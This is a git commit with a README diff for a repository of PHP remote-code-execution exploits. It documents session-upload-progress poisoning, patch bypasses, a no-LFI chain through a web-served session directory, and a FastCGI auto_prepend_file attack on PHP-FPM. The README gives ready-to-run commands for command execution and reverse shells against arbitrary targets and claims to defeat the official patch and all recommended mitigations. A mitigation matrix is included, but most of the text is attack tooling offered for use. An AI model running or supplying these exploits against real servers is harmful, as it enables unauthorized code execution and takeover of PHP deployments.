FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config

New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
neko
2026-10-21 21:19:25 +00:00
parent 7fecd435cc
commit 8147ce0edb
6 changed files with 1616 additions and 31 deletions
+107 -31
View File
@@ -2,7 +2,8 @@
Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations.
exploits that defeat the official security patch and all recommended mitigations,
plus a no-LFI chain that removes the application from the attack entirely.
**No external dependencies** — pure Python 3 stdlib.
@@ -31,6 +32,8 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
## Prerequisites
@@ -71,35 +74,89 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.
## Session Deserialization (No LFI)
## RCE Without LFI
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
the pipe character in session data triggers arbitrary deserialization.
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
with **no application include at all**. The consumer is php-fpm's own request
routing instead of application code:
Requires a deployment where two endpoints share session storage but use
different handlers. This occurs when a framework application coexists with
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
`<save_path>/sess_<SID>` during multipart parsing. This fires before
script dispatch, so any PHP-handled URL works — a 404 is enough.
2. If `session.save_path` is web-served, the session file is directly
requestable over HTTP.
3. With `security.limit_extensions` empty (common in production fpm pools),
fpm executes the extensionless session file through the classic
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
4. With `cleanup=1` (default) the file is truncated at upload end, so
execution is raced against the upload window (reliable on streaming
stacks, parse-time-limited on buffering stacks), or made deterministic
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
file persists.
Built-in POP chains for current library versions:
| Chain | Library | Tested version |
|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
via `--chain-file`. See `session-deser/README.md` for details.
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
the session decoder itself can never be used as the consumer: the `php`
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
the raw attacker bytes always land in the key which is never unserialized, and
`mod_files` rejects any SID that could turn the filename into an include
target.
```bash
python3 session-deser/exploit.py \
--inject-url http://target/laravel-endpoint.php \
--trigger-url http://target/legacy-script.php \
--chain laravel10-cmd --cmd 'id'
# classify the target: which URL prefixes serve session.save_path
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
# interactive command shell via the served session dir
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
# deterministic persistence via the OOM bailout instead of the race
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
--oom --fields 30000 --fsize 512 --cmd 'id'
```
`nolfi/check_deploy.php` reports whether a deployment meets the two
preconditions (save_path web-served, empty limit_extensions). Drop it on the
target, request it once, remove it.
## RCE via FastCGI (Default Config)
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
scenarios.
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
worker in the multipart parser (keeping the poisoned session file on disk)
while a second FastCGI request to another worker sets
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
session file before any script. The attacker's PHP code executes.
`security.limit_extensions` does not block this: it only restricts
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
```bash
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Unix socket (local access)
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# Specify PHP file and session path
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--script-file /var/www/html/index.php \
--session-path /tmp --cmd 'id'
# Reverse shell
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--lhost 10.0.0.1 --lport 4444
```
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
pool-level configuration can prevent this when FastCGI is reachable.
## Patch Bypass Findings
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
@@ -117,22 +174,41 @@ path. Worker exits code 1 (not the patched code 70), session persists.
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.**
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
file is executed by fpm itself via PATH_INFO routing. No application
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
drips a multipart upload via raw FastCGI to hold a worker in the parser
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
No LFI, no special config, no library. `php_admin_value` does not block it.
See `fcgi/FINDINGS.md`.
### Mitigation Matrix
| Mitigation | Race | RLIMIT | /proc/fd |
|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** |
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|---|---|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
| + save_path not web-served | — | — | — | OK | **FAIL** |
| + block FPM network access | — | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
### Recommendations
1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications
4. Set `open_basedir` to restrict filesystem access
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
5. Keep `session.save_path` outside any web-served tree
6. Set `open_basedir` to restrict filesystem access
7. Block network access to FPM: use unix sockets with restricted permissions,
firewall TCP port 9000
## WordPress